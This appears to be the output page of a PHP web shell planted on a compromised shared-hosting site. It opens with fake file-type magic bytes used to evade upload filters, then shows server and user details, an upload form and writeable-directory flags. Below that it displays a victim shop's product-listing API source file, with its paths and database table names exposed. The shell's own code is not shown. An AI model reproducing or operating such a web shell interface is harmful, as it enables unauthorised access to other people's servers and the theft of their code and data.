%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/api/products.php
<?php

header("Content-Type: application/json");

include("../dbcon.php");
// include('auth.php');

define('BASE_URL', 'https://meatandgo.fr/');

function response($status, $message, $data = [])
{
    echo json_encode([
        "status" => $status,
        "message" => $message,
        "data" => $data
    ], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);

    exit;
}

$category_id = intval($_REQUEST['category_id'] ?? 0);
$search      = trim($_REQUEST['search'] ?? '');

if ($category_id <= 0 && empty($search)) {

    response(false, "Category ID or Search is required", [

        "required_fields" => [
            "category_id"
        ],

        "example_url" =>
            BASE_URL .
            "api/products.php?category_id=1",

        "search_example" =>
            BASE_URL .
            "api/products.php?search=lamb"
    ]);
}

/*
|--------------------------------------------------------------------------
| Category Check
|--------------------------------------------------------------------------
*/

$category_name = '';

if ($category_id > 0) {

    $catQry = mysqli_query(
        $conn,
        "SELECT * FROM arawecovercategory
         WHERE id='$category_id'"
    );

    if (mysqli_num_rows($catQry) == 0) {

        response(false, "Category not found");
    }

    $catData = mysqli_fetch_assoc($catQry);

    $category_name = $catData['category'];
}

/*
|--------------------------------------------------------------------------
| Product Query
|--------------------------------------------------------------------------
*/

$where = " WHERE a.status='1' ";

if ($category_id > 0) {

    $where .= " AND a.category_id='$category_id' ";
}

if (!empty($search)) {

    $search = mysqli_real_escape_string(
        $conn,
        $search
    );

    $where .= "
        AND (
            a.title LIKE '%$search%'
            OR a.content LIKE '%$search%'
        )
    ";
}

$sql = "
SELECT
a.*,
c.category
FROM areawecover a
LEFT JOIN arawecovercategory c
ON a.category_id=c.id
$where
ORDER BY a.id DESC
";

$query = mysqli_query($conn, $sql);

$products = [];

while ($row = mysqli_fetch_assoc($query)) {

    $price = (float)$row['price'];

    $actual_price = (float)$row['actual_price'];

    $offer_percentage = 0;

    if (
        $actual_price > 0 &&
        $actual_price > $price
    ) {

        $offer_percentage = round(
            (
                ($actual_price - $price)
                /
                $actual_price
            ) * 100
        );
    }

    $stock = (int)$row['stock'];

    $low_stock_message = '';

    if ($stock <= 0) {

        $low_stock_message =
            'Out Of Stock';

    } elseif ($stock <= 10) {

        $low_stock_message =
            'Only ' . $stock . ' Left';
    }

    $products[] = [

        "id" => $row['id'],

        "category_id" =>
            $row['category_id'],

        "category" =>
            $row['category'],

        "title" =>
            $row['title'],

        "description" =>
            strip_tags($row['content']),

        "price" =>
            $price,

        "actual_price" =>
            $actual_price,

        "offer_percentage" =>
            $offer_percentage,

        "currency_symbol" =>
            $currency_symbol,

        "currency_code" =>
            $currency_code,

        "stock" =>
            $stock,

        "low_stock_message" =>
            $low_stock_message,

        "weight" =>
            $row['weight'],

        "image" =>
            !empty($row['image'])
            ? BASE_URL .
              "admin/dataimg/" .
              $row['image']
            : "",

        "in_stock" =>
            ($stock > 0),

        "add_to_cart_api" =>
            BASE_URL .
            "api/add_to_cart.php",

        "product_details_api" =>
            BASE_URL .
            "api/product_details.php?product_id=" .
            $row['id']
    ];
}

response(true, "Products Loaded Successfully", [

    "category_id" =>
        $category_id,

    "category_name" =>
        $category_name,

    "currency_symbol" =>
        $currency_symbol,

    "currency_code" =>
        $currency_code,

    "total_products" =>
        count($products),

    "products" =>
        $products
]);

$conn->close();

?>

VaKeR 2022